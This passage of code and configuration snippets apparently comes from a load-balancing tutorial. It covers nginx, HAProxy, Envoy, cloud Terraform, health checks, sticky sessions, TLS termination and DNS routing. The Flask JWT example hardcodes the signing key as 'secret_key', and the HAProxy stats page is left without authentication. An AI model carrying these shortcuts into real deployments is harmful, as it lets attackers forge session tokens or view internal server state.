    server backend2.example.com:8080;
}

server {
    location / {
        proxy_pass http://backend;
        health_check interval=5s
                     fails=3
                     passes=2
                     uri=/health
                     match=server_ok;
    }
}

match server_ok {
    status 200;
    header Content-Type = application/json;
    body ~ "healthy";
}

backend app_backend
    balance roundrobin

    # Health check options
    option httpchk GET /health
    http-check expect status 200

    # Server definitions with checks
    server app1 10.0.1.10:8080 check inter 5s fall 3 rise 2
    server app2 10.0.1.11:8080 check inter 5s fall 3 rise 2
    server app3 10.0.1.12:8080 check inter 5s fall 3 rise 2

    # Backup server (only used when all others fail)
    server app_backup 10.0.1.99:8080 check backup

# Advanced health check
backend api_backend
    option httpchk GET /health
    http-check expect status 200
    http-check expect string "healthy"

    # Custom headers
    http-check send-state

    server api1 10.0.2.10:8080 check

Too frequent (< 1s):  Unnecessary load
Good (2-5s):          Quick detection, low overhead
Too slow (> 30s):     Slow failure detection

Frontend LB:  Simple TCP check (fast)
      ↓
Application:  HTTP /health endpoint
      ↓
Deep Check:   Database, dependencies (periodic)

class CircuitBreaker:
    def __init__(self, failure_threshold=5, timeout=60):
        self.failure_count = 0
        self.failure_threshold = failure_threshold
        self.timeout = timeout
        self.last_failure_time = None
        self.state = 'CLOSED'  # CLOSED, OPEN, HALF_OPEN

    def call(self, func, *args, **kwargs):
        if self.state == 'OPEN':
            if time.time() - self.last_failure_time > self.timeout:
                self.state = 'HALF_OPEN'
            else:
                raise Exception("Circuit breaker is OPEN")

        try:
            result = func(*args, **kwargs)
            self.on_success()
            return result
        except Exception as e:
            self.on_failure()
            raise e

    def on_success(self):
        self.failure_count = 0
        self.state = 'CLOSED'

    def on_failure(self):
        self.failure_count += 1
        self.last_failure_time = time.time()
        if self.failure_count >= self.failure_threshold:
            self.state = 'OPEN'

Server marked unhealthy:
  Wait 10s → First health check
  ↓ Pass
  Wait 10s → Second health check
  ↓ Pass
  Wait 10s → Third health check
  ↓ Pass
  Mark healthy, restore traffic gradually (10% → 50% → 100%)

# Server-level metrics
metrics = {
    'health_status': 'healthy|unhealthy|unknown',
    'response_time_avg': 45.2,        # milliseconds
    'response_time_p95': 120.5,       # 95th percentile
    'response_time_p99': 250.8,       # 99th percentile
    'request_rate': 1250,             # requests/second
    'error_rate': 0.02,               # percentage
    'active_connections': 450,
    'total_connections': 125000,
    'bytes_in': 1024000000,          # bytes
    'bytes_out': 5120000000,         # bytes
    'cpu_usage': 65.5,               # percentage
    'memory_usage': 72.3,            # percentage
}

# Load balancer metrics
lb_metrics = {
    'total_requests': 500000,
    'requests_per_server': {
        'server1': 180000,
        'server2': 170000,
        'server3': 150000
    },
    'failed_requests': 100,
    'backend_response_time': 45.2,
    'lb_processing_time': 2.1,
    'active_backends': 3,
    'total_backends': 3,
}

from prometheus_client import Counter, Histogram, Gauge

# Request metrics
request_count = Counter(
    'lb_requests_total',
    'Total requests',
    ['backend', 'method', 'status']
)

request_duration = Histogram(
    'lb_request_duration_seconds',
    'Request duration',
    ['backend']
)

# Backend health
backend_health = Gauge(
    'lb_backend_health',
    'Backend health status (1=healthy, 0=unhealthy)',
    ['backend']
)

active_connections = Gauge(
    'lb_active_connections',
    'Active connections',
    ['backend']
)

# Usage
request_count.labels(backend='server1', method='GET', status='200').inc()
request_duration.labels(backend='server1').observe(0.045)
backend_health.labels(backend='server1').set(1)
active_connections.labels(backend='server1').set(450)

Server fails → Immediately remove from pool
Fast but may cause false positives

Server slow → Reduce traffic gradually
Server error rate high → Remove from pool

Active Server (handles traffic)
   ↓ fails
Passive Server activated

Server A (50% traffic) ← fails
    ↓
Server B (100% traffic)
Server C (added to pool)

backend app_backend
    balance roundrobin

    # Primary servers
    server app1 10.0.1.10:8080 check
    server app2 10.0.1.11:8080 check

    # Backup servers (only used when primaries fail)
    server backup1 10.0.2.10:8080 check backup
    server backup2 10.0.2.11:8080 check backup

    # Error recovery
    retries 3
    retry-on all-retryable-errors

    # Timeouts
    timeout connect 5s
    timeout server 30s

User login → Server A (session created)
User request → Server B (no session, user logged out!)

User login → Server A (session created)
User request → Server A (session available ✓)

Initial Request:
  Client → LB → Server A

Response:
  Server A → LB → Client
  Set-Cookie: SERVERID=server_a; Path=/

Subsequent Requests:
  Client → LB (reads cookie) → Server A

upstream backend {
    server backend1.example.com:8080;
    server backend2.example.com:8080;
    server backend3.example.com:8080;

    # Cookie-based sticky sessions
    sticky cookie srv_id expires=1h domain=.example.com path=/;
}

backend app_backend
    balance roundrobin

    # Insert cookie
    cookie SERVERID insert indirect nocache

    server app1 10.0.1.10:8080 check cookie app1
    server app2 10.0.1.11:8080 check cookie app2
    server app3 10.0.1.12:8080 check cookie app3

upstream backend {
    server backend1.example.com:8080;
    server backend2.example.com:8080;

    # Use existing session cookie
    sticky learn
        create=$upstream_cookie_PHPSESSID
        lookup=$cookie_PHPSESSID
        zone=client_sessions:1m;
}

upstream backend {
    ip_hash;
    server backend1.example.com:8080;
    server backend2.example.com:8080;
}

backend app_backend
    balance source
    server app1 10.0.1.10:8080 check
    server app2 10.0.1.11:8080 check

upstream backend {
    hash $arg_userid;
    server backend1.example.com:8080;
    server backend2.example.com:8080;
}

# Example URLs:
# /api/user?userid=123 → Always routes to same server
# /api/user?userid=456 → Routes to different server

upstream backend {
    hash $http_x_user_id consistent;
    server backend1.example.com:8080;
    server backend2.example.com:8080;
}

backend app_backend
    # Stick for 30 minutes of inactivity
    stick-table type string len 32 size 100k expire 30m
    stick on cookie(JSESSIONID)

    server app1 10.0.1.10:8080 check
    server app2 10.0.1.11:8080 check

         Load Balancer
         /     |     \
    Server1 Server2 Server3
         \     |     /
        Redis Session Store

All servers share session data

# Flask with Redis sessions
from flask import Flask, session
from flask_session import Session
import redis

app = Flask(__name__)
app.config['SESSION_TYPE'] = 'redis'
app.config['SESSION_REDIS'] = redis.from_url('redis://localhost:6379')
Session(app)

@app.route('/login')
def login():
    session['user_id'] = 123
    return "Logged in"

@app.route('/profile')
def profile():
    user_id = session.get('user_id')  # Available on any server
    return f"User {user_id}"

# No server-side session needed
import jwt
from datetime import datetime, timedelta

def create_token(user_id):
    payload = {
        'user_id': user_id,
        'exp': datetime.utcnow() + timedelta(hours=1)
    }
    return jwt.encode(payload, 'secret_key', algorithm='HS256')

@app.route('/login')
def login():
    token = create_token(123)
    return {'token': token}

@app.route('/profile')
def profile():
    token = request.headers.get('Authorization')
    payload = jwt.decode(token, 'secret_key', algorithms=['HS256'])
    user_id = payload['user_id']
    return f"User {user_id}"

// Store session data in encrypted cookie
// No server-side storage needed
// Works with any backend server

# Check if sessions are balanced
session_distribution = {
    'server1': 1000,
    'server2': 950,
    'server3': 1050
}
# Good: relatively even distribution

Client (HTTPS) → Load Balancer (decrypt) → Backend (HTTP)

Client (HTTPS) → Load Balancer (forward) → Backend (HTTPS)

Client (HTTPS) → LB (decrypt/encrypt) → Backend (HTTPS)

upstream backend {
    server backend1.example.com:8080;
    server backend2.example.com:8080;
}

server {
    listen 443 ssl http2;
    server_name www.example.com;

    # SSL certificate
    ssl_certificate /etc/nginx/ssl/example.com.crt;
    ssl_certificate_key /etc/nginx/ssl/example.com.key;

    # Modern SSL configuration
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers 'ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256';
    ssl_prefer_server_ciphers off;

    # SSL session cache
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 10m;
    ssl_session_tickets off;

    # OCSP stapling
    ssl_stapling on;
    ssl_stapling_verify on;
    ssl_trusted_certificate /etc/nginx/ssl/chain.pem;

    # Security headers
    add_header Strict-Transport-Security "max-age=63072000" always;
    add_header X-Frame-Options DENY;
    add_header X-Content-Type-Options nosniff;

    location / {
        proxy_pass http://backend;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto $scheme;
    }
}

# Redirect HTTP to HTTPS
server {
    listen 80;
    server_name www.example.com;
    return 301 https://$server_name$request_uri;
}

frontend https_frontend
    bind *:443 ssl crt /etc/haproxy/certs/example.com.pem

    # Security
    http-response set-header Strict-Transport-Security "max-age=63072000"

    # Route to backend
    default_backend app_backend

frontend http_frontend
    bind *:80
    # Redirect to HTTPS
    redirect scheme https code 301 if !{ ssl_fc }

backend app_backend
    balance roundrobin

    # Forward to HTTP backends
    server app1 10.0.1.10:8080 check
    server app2 10.0.1.11:8080 check

upstream backend_ssl {
    server backend1.example.com:8443;
    server backend2.example.com:8443;
}

server {
    listen 443 ssl;
    server_name www.example.com;

    ssl_certificate /etc/nginx/ssl/frontend.crt;
    ssl_certificate_key /etc/nginx/ssl/frontend.key;

    location / {
        # Re-encrypt to backend
        proxy_pass https://backend_ssl;
        proxy_ssl_verify on;
        proxy_ssl_trusted_certificate /etc/nginx/ssl/backend-ca.crt;
        proxy_ssl_protocols TLSv1.2 TLSv1.3;
    }
}

# Install certbot
apt-get install certbot python3-certbot-nginx

# Obtain certificate
certbot --nginx -d www.example.com -d example.com

# Auto-renewal
certbot renew --dry-run

# Cron job for renewal
0 0 * * * /usr/bin/certbot renew --quiet

# Single certificate for *.example.com
certbot certonly --manual --preferred-challenges dns -d *.example.com

# Check certificate expiration
openssl x509 -in /etc/nginx/ssl/example.com.crt -noout -enddate

# Monitor with script
#!/bin/bash
CERT="/etc/nginx/ssl/example.com.crt"
EXPIRE_DATE=$(openssl x509 -in $CERT -noout -enddate | cut -d= -f2)
EXPIRE_EPOCH=$(date -d "$EXPIRE_DATE" +%s)
NOW_EPOCH=$(date +%s)
DAYS_REMAINING=$(( ($EXPIRE_EPOCH - $NOW_EPOCH) / 86400 ))

if [ $DAYS_REMAINING -lt 30 ]; then
    echo "WARNING: Certificate expires in $DAYS_REMAINING days"
fi

# Reduces SSL handshake overhead
ssl_session_cache shared:SSL:50m;
ssl_session_timeout 1d;
ssl_session_tickets off;

# Load balancer fetches OCSP response
# Reduces client latency
ssl_stapling on;
ssl_stapling_verify on;

listen 443 ssl http2;
# Multiplexing, header compression, server push

Operation                  CPU Cost
-------------------------- ----------
No SSL                     Baseline
SSL Termination            +15-25%
SSL Passthrough            Minimal
SSL Re-encryption          +30-40%

# Path-based routing
/api/* → API Target Group
/images/* → Image Server Target Group
/* → Default Web Server Target Group

# Host-based routing
api.example.com → API Target Group
www.example.com → Web Target Group

# Header-based routing
X-Client-Type: mobile → Mobile Target Group
X-Client-Type: desktop → Desktop Target Group

# Query string routing
?version=beta → Beta Target Group
?version=stable → Stable Target Group

resource "aws_lb" "app_lb" {
  name               = "app-load-balancer"
  internal           = false
  load_balancer_type = "application"
  security_groups    = [aws_security_group.lb_sg.id]
  subnets            = aws_subnet.public.*.id

  enable_deletion_protection = true
  enable_http2              = true
  enable_cross_zone_load_balancing = true

  tags = {
    Environment = "production"
  }
}

resource "aws_lb_target_group" "app_tg" {
  name     = "app-target-group"
  port     = 80
  protocol = "HTTP"
  vpc_id   = aws_vpc.main.id

  health_check {
    enabled             = true
    healthy_threshold   = 2
    interval            = 30
    matcher             = "200"
    path                = "/health"
    port                = "traffic-port"
    protocol            = "HTTP"
    timeout             = 5
    unhealthy_threshold = 2
  }

  stickiness {
    type            = "lb_cookie"
    cookie_duration = 86400
    enabled         = true
  }
}

resource "aws_lb_listener" "https" {
  load_balancer_arn = aws_lb.app_lb.arn
  port              = "443"
  protocol          = "HTTPS"
  ssl_policy        = "ELBSecurityPolicy-TLS-1-2-2017-01"
  certificate_arn   = aws_acm_certificate.cert.arn

  default_action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.app_tg.arn
  }
}

# Path-based routing rule
resource "aws_lb_listener_rule" "api_routing" {
  listener_arn = aws_lb_listener.https.arn
  priority     = 100

  action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.api_tg.arn
  }

  condition {
    path_pattern {
      values = ["/api/*"]
    }
  }
}

# Header-based routing
resource "aws_lb_listener_rule" "mobile_routing" {
  listener_arn = aws_lb_listener.https.arn
  priority     = 200

  action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.mobile_tg.arn
  }

  condition {
    http_header {
      http_header_name = "User-Agent"
      values           = ["*Mobile*", "*Android*", "*iPhone*"]
    }
  }
}

resource "aws_lb" "network_lb" {
  name               = "network-load-balancer"
  internal           = false
  load_balancer_type = "network"
  subnets            = aws_subnet.public.*.id

  enable_deletion_protection       = true
  enable_cross_zone_load_balancing = true

  tags = {
    Environment = "production"
  }
}

resource "aws_lb_target_group" "tcp_tg" {
  name        = "tcp-target-group"
  port        = 3306
  protocol    = "TCP"
  vpc_id      = aws_vpc.main.id
  target_type = "instance"

  health_check {
    enabled             = true
    healthy_threshold   = 3
    interval            = 10
    port                = 3306
    protocol            = "TCP"
    unhealthy_threshold = 3
  }

  stickiness {
    enabled = true
    type    = "source_ip"
  }
}

resource "aws_lb_listener" "tcp" {
  load_balancer_arn = aws_lb.network_lb.arn
  port              = "3306"
  protocol          = "TCP"

  default_action {
    type             = "forward"
    target_group_arn = aws_lb_target_group.tcp_tg.arn
  }
}

# Associate Elastic IP
resource "aws_eip" "lb_eip" {
  count = 2
  vpc   = true

  tags = {
    Name = "nlb-eip-${count.index + 1}"
  }
}

User (Asia) → Anycast IP → Asia Backend
User (US) → Anycast IP → US Backend
User (EU) → Anycast IP → EU Backend

Single IP, global distribution

# Backend service
resource "google_compute_backend_service" "web_backend" {
  name                  = "web-backend-service"
  protocol              = "HTTP"
  port_name             = "http"
  timeout_sec           = 30
  enable_cdn            = true
  health_checks         = [google_compute_health_check.http_health.id]
  load_balancing_scheme = "EXTERNAL"

  backend {
    group           = google_compute_instance_group.web_ig_us.id
    balancing_mode  = "UTILIZATION"
    capacity_scaler = 1.0
  }

  backend {
    group           = google_compute_instance_group.web_ig_eu.id
    balancing_mode  = "UTILIZATION"
    capacity_scaler = 1.0
  }

  log_config {
    enable      = true
    sample_rate = 1.0
  }
}

# URL map
resource "google_compute_url_map" "web_url_map" {
  name            = "web-url-map"
  default_service = google_compute_backend_service.web_backend.id

  host_rule {
    hosts        = ["api.example.com"]
    path_matcher = "api"
  }

  path_matcher {
    name            = "api"
    default_service = google_compute_backend_service.api_backend.id

    path_rule {
      paths   = ["/v1/*"]
      service = google_compute_backend_service.api_v1_backend.id
    }

    path_rule {
      paths   = ["/v2/*"]
      service = google_compute_backend_service.api_v2_backend.id
    }
  }
}

# HTTPS proxy
resource "google_compute_target_https_proxy" "web_https_proxy" {
  name             = "web-https-proxy"
  url_map          = google_compute_url_map.web_url_map.id
  ssl_certificates = [google_compute_ssl_certificate.web_cert.id]
}

# Forwarding rule (global IP)
resource "google_compute_global_forwarding_rule" "web_https" {
  name       = "web-https-forwarding-rule"
  target     = google_compute_target_https_proxy.web_https_proxy.id
  port_range = "443"
  ip_address = google_compute_global_address.web_ip.address
}

# Health check
resource "google_compute_health_check" "http_health" {
  name               = "http-health-check"
  check_interval_sec = 5
  timeout_sec        = 5

  http_health_check {
    port         = 80
    request_path = "/health"
  }
}

# Internal TCP/UDP Load Balancer
resource "google_compute_region_backend_service" "internal_tcp" {
  name                  = "internal-tcp-backend"
  region                = "us-central1"
  protocol              = "TCP"
  load_balancing_scheme = "INTERNAL"
  health_checks         = [google_compute_health_check.tcp_health.id]

  backend {
    group = google_compute_instance_group.app_ig.id
  }
}

# Network Load Balancer (External)
resource "google_compute_region_backend_service" "network_lb" {
  name                  = "network-lb-backend"
  region                = "us-central1"
  protocol              = "TCP"
  load_balancing_scheme = "EXTERNAL"

  backend {
    group = google_compute_instance_group.app_ig.id
  }
}

# Create load balancer
az network lb create \
  --resource-group myResourceGroup \
  --name myLoadBalancer \
  --sku Standard \
  --public-ip-address myPublicIP \
  --frontend-ip-name myFrontEnd \
  --backend-pool-name myBackEndPool

# Create health probe
az network lb probe create \
  --resource-group myResourceGroup \
  --lb-name myLoadBalancer \
  --name myHealthProbe \
  --protocol tcp \
  --port 80 \
  --interval 5 \
  --threshold 2

# Create LB rule
az network lb rule create \
  --resource-group myResourceGroup \
  --lb-name myLoadBalancer \
  --name myHTTPRule \
  --protocol tcp \
  --frontend-port 80 \
  --backend-port 80 \
  --frontend-ip-name myFrontEnd \
  --backend-pool-name myBackEndPool \
  --probe-name myHealthProbe

resource "azurerm_application_gateway" "app_gw" {
  name                = "app-gateway"
  resource_group_name = azurerm_resource_group.main.name
  location            = azurerm_resource_group.main.location

  sku {
    name     = "Standard_v2"
    tier     = "Standard_v2"
    capacity = 2
  }

  gateway_ip_configuration {
    name      = "gateway-ip-config"
    subnet_id = azurerm_subnet.frontend.id
  }

  frontend_port {
    name = "https-port"
    port = 443
  }

  frontend_ip_configuration {
    name                 = "frontend-ip-config"
    public_ip_address_id = azurerm_public_ip.app_gw_pip.id
  }

  backend_address_pool {
    name = "backend-pool"
    ip_addresses = ["10.0.1.10", "10.0.1.11", "10.0.1.12"]
  }

  backend_http_settings {
    name                  = "http-settings"
    cookie_based_affinity = "Enabled"
    port                  = 80
    protocol              = "Http"
    request_timeout       = 20
    probe_name            = "health-probe"
  }

  http_listener {
    name                           = "https-listener"
    frontend_ip_configuration_name = "frontend-ip-config"
    frontend_port_name             = "https-port"
    protocol                       = "Https"
    ssl_certificate_name           = "app-cert"
  }

  request_routing_rule {
    name                       = "routing-rule"
    rule_type                  = "Basic"
    http_listener_name         = "https-listener"
    backend_address_pool_name  = "backend-pool"
    backend_http_settings_name = "http-settings"
  }

  probe {
    name                = "health-probe"
    protocol            = "Http"
    path                = "/health"
    interval            = 30
    timeout             = 30
    unhealthy_threshold = 3
    host                = "127.0.0.1"
  }
}

resource "azurerm_frontdoor" "main" {
  name                = "my-front-door"
  resource_group_name = azurerm_resource_group.main.name

  routing_rule {
    name               = "routing-rule"
    accepted_protocols = ["Https"]
    patterns_to_match  = ["/*"]
    frontend_endpoints = ["frontend-endpoint"]

    forwarding_configuration {
      forwarding_protocol = "HttpsOnly"
      backend_pool_name   = "backend-pool"
    }
  }

  backend_pool_load_balancing {
    name = "load-balancing-settings"
  }

  backend_pool_health_probe {
    name = "health-probe"
    path = "/health"
  }

  backend_pool {
    name = "backend-pool"
    backend {
      host_header = "www.example.com"
      address     = "backend1.example.com"
      http_port   = 80
      https_port  = 443
    }
  }

  frontend_endpoint {
    name      = "frontend-endpoint"
    host_name = "my-front-door.azurefd.net"
  }
}

http {
    upstream backend {
        server backend1.example.com:8080;
        server backend2.example.com:8080;
        server backend3.example.com:8080;
    }

    server {
        listen 80;
        server_name www.example.com;

        location / {
            proxy_pass http://backend;
        }
    }
}

http {
    # Connection pooling
    upstream backend {
        least_conn;  # Load balancing algorithm

        server backend1.example.com:8080 weight=3 max_fails=3 fail_timeout=30s;
        server backend2.example.com:8080 weight=2 max_fails=3 fail_timeout=30s;
        server backend3.example.com:8080 weight=1 max_fails=3 fail_timeout=30s backup;

        # Connection pool
        keepalive 32;
        keepalive_requests 100;
        keepalive_timeout 60s;
    }

    # Rate limiting
    limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
    limit_conn_zone $binary_remote_addr zone=addr:10m;

    server {
        listen 80;
        server_name www.example.com;

        # Apply rate limits
        limit_req zone=one burst=20 nodelay;
        limit_conn addr 10;

        location / {
            proxy_pass http://backend;

            # Headers
            proxy_set_header Host $host;
            proxy_set_header X-Real-IP $remote_addr;
            proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
            proxy_set_header X-Forwarded-Proto $scheme;

            # Timeouts
            proxy_connect_timeout 5s;
            proxy_send_timeout 10s;
            proxy_read_timeout 10s;

            # Buffering
            proxy_buffering on;
            proxy_buffer_size 4k;
            proxy_buffers 8 4k;

            # Error handling
            proxy_next_upstream error timeout http_500 http_502 http_503;
            proxy_next_upstream_tries 3;
            proxy_next_upstream_timeout 10s;

            # HTTP version
            proxy_http_version 1.1;
            proxy_set_header Connection "";
        }

        # Health check endpoint
        location /health {
            access_log off;
            return 200 "healthy\n";
            add_header Content-Type text/plain;
        }
    }
}

upstream backend {
    zone backend 64k;
    server backend1.example.com:8080;
    server backend2.example.com:8080;
}

server {
    location / {
        proxy_pass http://backend;
        health_check interval=5s fails=3 passes=2;
    }

    # API for dynamic configuration
    location /api {
        api write=on;
        allow 10.0.0.0/8;
        deny all;
    }
}

proxy_cache_path /var/cache/nginx levels=1:2 keys_zone=my_cache:10m max_size=10g
                 inactive=60m use_temp_path=off;

server {
    location / {
        proxy_cache my_cache;
        proxy_cache_key "$scheme$request_method$host$request_uri";
        proxy_cache_valid 200 60m;
        proxy_cache_valid 404 10m;
        proxy_cache_bypass $http_cache_control;
        add_header X-Cache-Status $upstream_cache_status;

        proxy_pass http://backend;
    }
}

global
    log /dev/log local0
    log /dev/log local1 notice
    chroot /var/lib/haproxy
    stats socket /run/haproxy/admin.sock mode 660 level admin
    stats timeout 30s
    user haproxy
    group haproxy
    daemon

    # Security
    ssl-default-bind-ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256
    ssl-default-bind-options ssl-min-ver TLSv1.2 no-tls-tickets

defaults
    log     global
    mode    http
    option  httplog
    option  dontlognull
    timeout connect 5000
    timeout client  50000
    timeout server  50000
    errorfile 400 /etc/haproxy/errors/400.http
    errorfile 403 /etc/haproxy/errors/403.http
    errorfile 408 /etc/haproxy/errors/408.http
    errorfile 500 /etc/haproxy/errors/500.http
    errorfile 502 /etc/haproxy/errors/502.http
    errorfile 503 /etc/haproxy/errors/503.http
    errorfile 504 /etc/haproxy/errors/504.http

frontend http_front
    bind *:80
    stats uri /haproxy?stats
    default_backend http_back

backend http_back
    balance roundrobin
    server server1 10.0.1.10:8080 check
    server server2 10.0.1.11:8080 check
    server server3 10.0.1.12:8080 check

frontend https_front
    bind *:443 ssl crt /etc/haproxy/certs/example.com.pem

    # Request headers
    http-request set-header X-Forwarded-Proto https if { ssl_fc }
    http-request add-header X-Forwarded-For %[src]

    # Security headers
    http-response set-header Strict-Transport-Security "max-age=31536000; includeSubDomains"
    http-response set-header X-Frame-Options "DENY"
    http-response set-header X-Content-Type-Options "nosniff"

    # ACLs (Access Control Lists)
    acl is_api path_beg /api
    acl is_static path_beg /static
    acl is_admin path_beg /admin

    # Rate limiting
    stick-table type ip size 100k expire 30s store http_req_rate(10s)
    http-request track-sc0 src
    http-request deny deny_status 429 if { sc_http_req_rate(0) gt 100 }

    # Routing
    use_backend api_backend if is_api
    use_backend static_backend if is_static
    use_backend admin_backend if is_admin
    default_backend web_backend

backend api_backend
    balance leastconn
    option httpchk GET /health
    http-check expect status 200

    server api1 10.0.2.10:8080 check inter 5s fall 3 rise 2
    server api2 10.0.2.11:8080 check inter 5s fall 3 rise 2
    server api3 10.0.2.12:8080 check inter 5s fall 3 rise 2

backend web_backend
    balance roundrobin
    cookie SERVERID insert indirect nocache

    server web1 10.0.1.10:8080 check cookie web1
    server web2 10.0.1.11:8080 check cookie web2
    server web3 10.0.1.12:8080 check cookie web3

backend static_backend
    balance source
    hash-type consistent

    server static1 10.0.3.10:8080 check
    server static2 10.0.3.11:8080 check

# Statistics
listen stats
    bind *:8404
    stats enable
    stats uri /
    stats refresh 30s
    stats show-legends
    stats show-node

frontend mysql_front
    mode tcp
    bind *:3306
    option tcplog
    default_backend mysql_back

backend mysql_back
    mode tcp
    balance leastconn
    option mysql-check user haproxy

    server mysql1 10.0.4.10:3306 check
    server mysql2 10.0.4.11:3306 check
    server mysql3 10.0.4.12:3306 check backup

backend app_backend
    # Blue environment (stable)
    server blue1 10.0.5.10:8080 check weight 100
    server blue2 10.0.5.11:8080 check weight 100

    # Green environment (new version, disabled initially)
    server green1 10.0.6.10:8080 check weight 0
    server green2 10.0.6.11:8080 check weight 0

# Set weight to 0 (disable)
echo "set weight app_backend/blue1 0" | socat stdio /run/haproxy/admin.sock

# Set weight to 100 (enable)
echo "set weight app_backend/green1 100" | socat stdio /run/haproxy/admin.sock

static_resources:
  listeners:
  - name: listener_0
    address:
      socket_address:
        address: 0.0.0.0
        port_value: 10000
    filter_chains:
    - filters:
      - name: envoy.filters.network.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          stat_prefix: ingress_http
          access_log:
          - name: envoy.access_loggers.stdout
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.access_loggers.stream.v3.StdoutAccessLog
          http_filters:
          - name: envoy.filters.http.router
          route_config:
            name: local_route
            virtual_hosts:
            - name: backend
              domains: ["*"]
              routes:
              - match:
                  prefix: "/"
                route:
                  cluster: backend_cluster

  clusters:
  - name: backend_cluster
    connect_timeout: 0.25s
    type: STRICT_DNS
    lb_policy: ROUND_ROBIN
    load_assignment:
      cluster_name: backend_cluster
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address:
                address: backend1.example.com
                port_value: 8080
        - endpoint:
            address:
              socket_address:
                address: backend2.example.com
                port_value: 8080

static_resources:
  listeners:
  - name: listener_0
    address:
      socket_address:
        address: 0.0.0.0
        port_value: 443
    filter_chains:
    - transport_socket:
        name: envoy.transport_sockets.tls
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.transport_sockets.tls.v3.DownstreamTlsContext
          common_tls_context:
            tls_certificates:
            - certificate_chain:
                filename: "/etc/envoy/certs/cert.pem"
              private_key:
                filename: "/etc/envoy/certs/key.pem"
      filters:
      - name: envoy.filters.network.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          stat_prefix: ingress_http
          codec_type: AUTO

          # Route configuration
          route_config:
            name: local_route
            virtual_hosts:
            - name: backend
              domains: ["api.example.com"]
              routes:
              # API v1
              - match:
                  prefix: "/api/v1"
                route:
                  cluster: api_v1_cluster
                  retry_policy:
                    retry_on: "5xx"
                    num_retries: 3

              # API v2
              - match:
                  prefix: "/api/v2"
                route:
                  cluster: api_v2_cluster
                  timeout: 15s

              # Health check
              - match:
                  prefix: "/health"
                direct_response:
                  status: 200
                  body:
                    inline_string: "healthy"

          http_filters:
          # Rate limiting
          - name: envoy.filters.http.ratelimit
            typed_config:
              "@type": type.googleapis.com/envoy.extensions.filters.http.ratelimit.v3.RateLimit
              domain: backend
              request_type: both
              rate_limit_service:
                grpc_service:
                  envoy_grpc:
                    cluster_name: ratelimit

          # Router (must be last)
          - name: envoy.filters.http.router

  clusters:
  # API v1 cluster
  - name: api_v1_cluster
    connect_timeout: 0.25s
    type: STRICT_DNS
    lb_policy: LEAST_REQUEST

    # Health check
    health_checks:
    - timeout: 1s
      interval: 5s
      unhealthy_threshold: 2
      healthy_threshold: 2
      http_health_check:
        path: "/health"
        expected_statuses:
        - start: 200
          end: 200

    # Circuit breaking
    circuit_breakers:
      thresholds:
      - priority: DEFAULT
        max_connections: 1000
        max_pending_requests: 100
        max_requests: 1000
        max_retries: 3

    # Outlier detection
    outlier_detection:
      consecutive_5xx: 5
      interval: 30s
      base_ejection_time: 30s
      max_ejection_percent: 50

    load_assignment:
      cluster_name: api_v1_cluster
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address:
                address: 10.0.1.10
                port_value: 8080
          load_balancing_weight: 3
        - endpoint:
            address:
              socket_address:
                address: 10.0.1.11
                port_value: 8080
          load_balancing_weight: 2

  # API v2 cluster
  - name: api_v2_cluster
    connect_timeout: 0.25s
    type: STRICT_DNS
    lb_policy: RING_HASH  # Consistent hashing
    ring_hash_lb_config:
      minimum_ring_size: 1024

    load_assignment:
      cluster_name: api_v2_cluster
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address:
                address: 10.0.2.10
                port_value: 8080
        - endpoint:
            address:
              socket_address:
                address: 10.0.2.11
                port_value: 8080

admin:
  address:
    socket_address:
      address: 127.0.0.1
      port_value: 9901

# Envoy sidecar configuration for Kubernetes
static_resources:
  listeners:
  - name: listener_0
    address:
      socket_address:
        address: 127.0.0.1
        port_value: 15001
    filter_chains:
    - filters:
      - name: envoy.filters.network.http_connection_manager
        typed_config:
          "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
          tracing:
            provider:
              name: envoy.tracers.zipkin
              typed_config:
                "@type": type.googleapis.com/envoy.config.trace.v3.ZipkinConfig
                collector_cluster: zipkin
                collector_endpoint: "/api/v2/spans"
          route_config:
            name: local_route
            virtual_hosts:
            - name: backend
              domains: ["*"]
              routes:
              - match:
                  prefix: "/"
                route:
                  cluster: local_service

  clusters:
  - name: local_service
    connect_timeout: 0.25s
    type: STATIC
    load_assignment:
      cluster_name: local_service
      endpoints:
      - lb_endpoints:
        - endpoint:
            address:
              socket_address:
                address: 127.0.0.1
                port_value: 8080

Client queries: www.example.com
    ↓
DNS server responds with one of:
  - 192.168.1.10 (Server 1)
  - 192.168.1.11 (Server 2)
  - 192.168.1.12 (Server 3)
    ↓
Client connects to returned IP

; DNS Zone File
www.example.com.    IN  A   192.168.1.10
www.example.com.    IN  A   192.168.1.11
www.example.com.    IN  A   192.168.1.12

DNS server rotates order of IPs in response

zone "example.com" {
    type master;
    file "/etc/bind/zones/example.com";

    # Enable round-robin
    rrset-order {
        order cyclic;
    };
};

www.example.com.    IN  A   192.168.1.10  ; weight 50
www.example.com.    IN  A   192.168.1.11  ; weight 30
www.example.com.    IN  A   192.168.1.12  ; weight 20

Client in US → US data center IP
Client in EU → EU data center IP
Client in Asia → Asia data center IP

resource "aws_route53_record" "www_us" {
  zone_id = aws_route53_zone.main.zone_id
  name    = "www.example.com"
  type    = "A"
  ttl     = 300

  geolocation_routing_policy {
    continent = "NA"
  }

  records = ["192.168.1.10"]
}

resource "aws_route53_record" "www_eu" {
  zone_id = aws_route53_zone.main.zone_id
